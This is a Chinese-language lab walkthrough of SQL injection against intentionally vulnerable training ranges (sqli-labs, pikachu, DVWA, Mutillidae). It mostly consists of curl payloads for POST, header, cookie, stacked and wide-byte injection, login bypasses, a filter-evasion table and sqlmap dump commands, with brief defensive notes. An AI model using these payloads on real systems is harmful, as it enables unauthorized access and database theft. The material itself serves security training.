目 录
[一、POST 注入(Less-11~17)](#一、POST 注入(Less-11~17))
[1.1 Less-11:登录框 union 注入](#1.1 Less-11:登录框 union 注入)
[1.2 Less-17:UPDATE 型注入](#1.2 Less-17:UPDATE 型注入)
[1.3 Burp 抓包定位:先看表单再动手](#1.3 Burp 抓包定位:先看表单再动手)
[3.1 宽字节注入(Less-32 起)](#3.1 宽字节注入(Less-32 起))
[四、堆叠注入与参数污染(Less-29~53 精选)](#四、堆叠注入与参数污染(Less-29~53 精选))
[4.1 堆叠注入(Less-38 起)](#4.1 堆叠注入(Less-38 起))
[4.2 参数污染 HPP(Less-29)](#4.2 参数污染 HPP(Less-29))
[4.3 二次注入](#4.3 二次注入)
[五、sqlmap 进阶:请求文件与定制](#五、sqlmap 进阶:请求文件与定制)
[6.1 pikachu(8088):字符型 3 列 union](#6.1 pikachu(8088):字符型 3 列 union)
[6.2 DVWA(8081):Cookie 携带 + 2 列](#6.2 DVWA(8081):Cookie 携带 + 2 列)
[6.3 Mutillidae(8084):7 列 + 绕过登录](#6.3 Mutillidae(8084):7 列 + 绕过登录)
一、POST 注入(Less-11~17)
GET 注入的 payload 拼在 URL 上,POST 注入则藏在请求体里------登录表单是最典型的场景。第 3 篇的五步法原封不动,只是 payload 的「运输方式」变了:从 URL 参数变成 POST 参数。
1.1 Less-11:登录框 union 注入
curl -s "http://10.10.10.240:8086/Less-11/" \
--data-urlencode "uname=-1' union select 1,2--+" \
--data-urlencode "passwd=x" \
--data-urlencode "submit=Submit"

回显位落在 1、2 两列;换成 version(),database() 即收集信息
curl -s "http://10.10.10.240:8086/Less-11/" \
--data-urlencode "uname=-1' union select user(),database()--+" \
--data-urlencode "passwd=x" --data-urlencode "submit=Submit" | grep -oE "Login name.{0,40}"
登录框注入更直接的用法是绕过认证:uname 填 admin' or 1=1-- +(或任意存在的用户名加 or 1=1-- -),密码随便填,直接以该用户身份登录------WHERE 子句被恒真条件改写,密码校验形同虚设。

1.2 Less-17:UPDATE 型注入
Less-17 的注入点不在登录的 uname,而在「修改密码」处的 passwd 字段------UPDATE 语句的拼接。这类注入的特殊性:注入结果不直接回显,常用报错注入带出数据(and extractvalue(...));且不能破坏 UPDATE 语法本身,否则数据被改坏。登录处先提交正确用户名(如 Dumb),密码字段注入。
1.3 Burp 抓包定位:先看表单再动手
真实场景没人告诉你注入点在哪。方法固定:Burp 开代理提交一次表单,看请求体里有哪些参数、参数值去了哪个 SQL 语义位置(用户名?搜索词?排序字段?),再逐个加单引号探测。这与第 3 篇「让报错开口说话」是同一件事,只是探测位置从 URL 移到了请求体。
二、请求头注入(Less-18~22)
User-Agent、Referer、Cookie 也可能被拼进 SQL------典型场景是后台记录访问日志时把 UA 直接入库。这类注入 payload 放在请求头里,sqlmap 用 -p 指定或直接改头。
Less-18:UA 注入(需先有合法登录会话,用 Dumb/Dumb 登录)
curl -s "http://10.10.10.240:8086/Less-18/" \
-A "' and extractvalue(1,concat(0x7e,database()))-- and '1'='1" \
--data-urlencode "uname=Dumb" --data-urlencode "passwd=Dumb" \
--data-urlencode "submit=Submit"
预期:XPATH syntax error: '~security~'
Less-20:Cookie 注入(登录后携带 cookie,注入点在 cookie 值)
curl -s "http://10.10.10.240:8086/Less-20/" -b "uname=' and extractvalue(1,concat(0x7e,database()))-- and '1'='1" \
--data-urlencode "uname=Dumb" --data-urlencode "passwd=Dumb" --data-urlencode "submit=Submit"
请求头注入的要点:头部值里往往已有引号包裹结构(如 uname='...'),闭合时要兼顾头尾------结尾用 and '1'='1 让原结构闭合,比单纯 -- 注释更稳。
三、过滤绕过(Less-23~28)
到了这一段,靶场开始「封路」:注释符、空格、and/or 被过滤。绕过思路不是硬闯,而是找等价写法。
|----------------|---------------------------------------|----------------------------|
| 被过滤项 | 绕过写法 | 示例(Less-23,注释符被过滤) |
| # 与 -- 注释 | 改用闭合引号吞掉尾部:id=-1' union select 1,2,'3 | 原语句尾部引号被我们多塞的引号配对,语法闭合 |
| 空格 | /**/ 注释替代、%a0、括号嵌套 | union/**/select |
| and / or | 双写 aandnd、|| 与 && | where id=1 || 1=1 |
| union / select | 双写 uniunionon selselectect | 依赖过滤是单次替换(替换即删除)的假设 |
Less-23 实测:注释符被过滤,用「多带一个引号」闭合
curl -s -G "http://10.10.10.240:8086/Less-23/" \
--data-urlencode "id=-1' union select 1,version(),database() '1'='1" | grep -oE "Login name.{0,40}"
Less-26/26a:空格与 and/or 被过滤(Windows 下 %a0 才生效,Linux 用 /**/)
curl -s -G "http://10.10.10.240:8086/Less-26/" \
--data-urlencode "id=-1'||extractvalue(1,concat(0x7e,database()))||'1'='1" | grep -oE "error.{0,40}"
3.1 宽字节注入(Less-32 起)
当程序调用 addslashes 或开启 magic_quotes 转义单引号时,' 会变成 \'(反斜杠+引号)。若数据库连接用了 GBK 系编码(SET NAMES gbk),在引号前加 %df:%df\ 形成一个合法的 GBK 双字节汉字,把反斜杠「吃掉」,引号逃逸成功。
curl -s "http://10.10.10.240:8086/Less-32/?id=-1�' union select 1,version(),database()--+" | grep -oE "Login name.{0,40}"
预期:Login name: 5.5.44... (引号逃逸成功,union 生效)
宽字节的防御正解不是过滤,而是连接与存储编码统一为 UTF-8,并使用参数化查询(mysql_real_escape_string 在 GBK 连接下同样可被 %df 绕过)。
四、堆叠注入与参数污染(Less-29~53 精选)
4.1 堆叠注入(Less-38 起)
后端使用 mysqli_multi_query 时,分号可以连续执行多条 SQL------注入从「改写一条查询」升级为「执行任意语句」,可以 INSERT/UPDATE,甚至写文件(第 8 篇的延伸)。
curl -s "http://10.10.10.240:8086/Less-38/?id=1;insert into users(id,username,password) values(99,'stack','test')--+" -o /dev/null -w "%{http_code}\n"
curl -s -G "http://10.10.10.240:8086/Less-38/" --data-urlencode "id=-1' union select 1,group_concat(username,0x3a,password),3 from users where id=99--+" | grep -oE "stack.{0,20}"
能查到 stack:test 即堆叠执行成功
4.2 参数污染 HPP(Less-29)
同一参数名出现两次(?id=1&id=-1'...)时,WAF 与后端 PHP 对「取哪个值」可能不一致:WAF 检查第一个,PHP 取最后一个。把恶意 payload 放在后一个 id 里即可穿过检测。这类「检测端与执行端解析不一致」的思路,同样适用于 HTTP 头大小写、编码歧义等场景。
4.3 二次注入
先通过注册等功能把带引号的脏数据(用户名如 admin'-- -)合法写入数据库,再在「引用该数据的语句」(如改密码按用户名 WHERE)里触发拼接。两次请求各自无异常,危害发生在引用时刻。它的教训是:入库前转义不够,出库后拼接才是原罪------参数化查询必须贯穿始终。
五、sqlmap 进阶:请求文件与定制
手工确认注入点后,用 sqlmap 批量取证。重点是从 Burp 抓包导出请求文件(-r),复杂场景全靠它表达:
1) Burp 抓包另存为 req.txt(含 Cookie、POST 体),sqlmap 直接重放
sqlmap -r req.txt --batch --dbs
2) 指定注入参数与技巧
sqlmap -r req.txt --batch -p uname --technique=EU --dbs
3) 时间盲注提速
sqlmap -r req.txt --batch --technique=T --time-sec=5
4) 拖库与哈希
sqlmap -r req.txt --batch -D security -T users --dump
5) 写文件前提探测(第 8 篇展开)
sqlmap -r req.txt --batch --is-dba --privileges
|----------------|-------------|-------------------------------------|
| 参数 | 作用 | 何时用 |
| -r req.txt | 重放完整请求 | 有 Cookie/Token/复杂 POST 体时,首选 |
| -p | 指定测试参数 | 多参数时缩小范围、避免误报 |
| --technique=EU | 限定注入类型 | 布尔无效时强制 union/报错(避免选出慢技巧) |
| --batch | 免交互默认应答 | 无人值守跑批 |
| --os-shell | 尝试拿系统 shell | 需 FILE 权限 + 可写 Web 目录(靶场环境见第 8 篇结论) |
六、跨靶场对照练习
同一个注入思维链,在三个靶场各打一遍,体会「列数、回显位、提交方式」的现场差异------这正是实战中最消耗时间的部分。
6.1 pikachu(8088):字符型 3 列 union
curl -s -G "http://10.10.10.240:8088/vul/sqli/sqli_str.php" \
--data-urlencode "name=kobe' union select 1,version(),database()#" \
--data-urlencode "submit=查询" | grep -oE "pikachu|5\.0-9.+"
预期(实测):回显库名 pikachu。注意 # 在 URL 必须由 --data-urlencode 编码为 %23
6.2 DVWA(8081):Cookie 携带 + 2 列
DVWA 需登录态与 security=low 的 Cookie(登录取 token 的脚本见第 7 篇附录)
curl -s -b "PHPSESSID=你的会话; security=low" \
-G "http://10.10.10.240:8081/vulnerabilities/sqli/" \
--data-urlencode "id=-1' union select user(),database()-- -" \
--data-urlencode "Submit=Submit"
预期(实测):First name: app@localhost Surname: dvwa
6.3 Mutillidae(8084):7 列 + 绕过登录
curl -s "http://10.10.10.240:8084/index.php?page=login.php" \
--data-urlencode "username=vince' or 1=1-- -" --data-urlencode "password=x" \
--data-urlencode "login-php-submit-button=Login" | grep -c "Logged In Admin"
>=1 即绕过登录成功
union 取数据(account 表 7 列)
curl -s "http://10.10.10.240:8084/index.php?page=user-info.php" \
--data-urlencode "username=-1' union select 1,version(),database(),4,5,6,7-- -" \
--data-urlencode "password=x" \
--data-urlencode "user-info-php-submit-button=View Account Details" | grep -oE "5\.0-9.+|mutillidae"
预期(实测):5.5.60-0ubuntu0.14.04.1 / mutillidae
对照结论:五步法不变,变的只有四个现场参数------提交方式(GET/POST/Cookie)、闭合符号、列数、回显位。先 order by 再 union 的纪律永远不变。
七、验收、清场与下一篇预告
验收清单:Less-11 绕过登录或 union 取数;Less-18 UA 报错注入拿到库名;Less-23 引号闭合绕过注释过滤;Less-32 宽字节逃逸;Less-38 堆叠插入新用户并可查询;三个对照靶场各拿到预期回显。
一键验收示例
curl -s "http://10.10.10.240:8084/index.php?page=login.php" \
--data-urlencode "username=vince' or 1=1-- -" --data-urlencode "password=x" \
--data-urlencode "login-php-submit-button=Login" | grep -c Admin # >=1
清场:Less-38 堆叠练习插入了测试用户,清理它:
curl -s "http://10.10.10.240:8086/Less-38/?id=1;delete from users where id=99--+" -o /dev/null -w "%{http_code}\n"
或直接点首页 Setup/reset Database for labs 一键还原
到此,注入的「读」已练透。注入的「写」------INTO OUTFILE 落马、secure_file_priv 的攻防、general_log 绕过------在第 8 篇服务型靶标里专门展开。下一篇先转向另一条主线:文件上传(upload-labs 21 关),从绕前端校验打到条件竞争。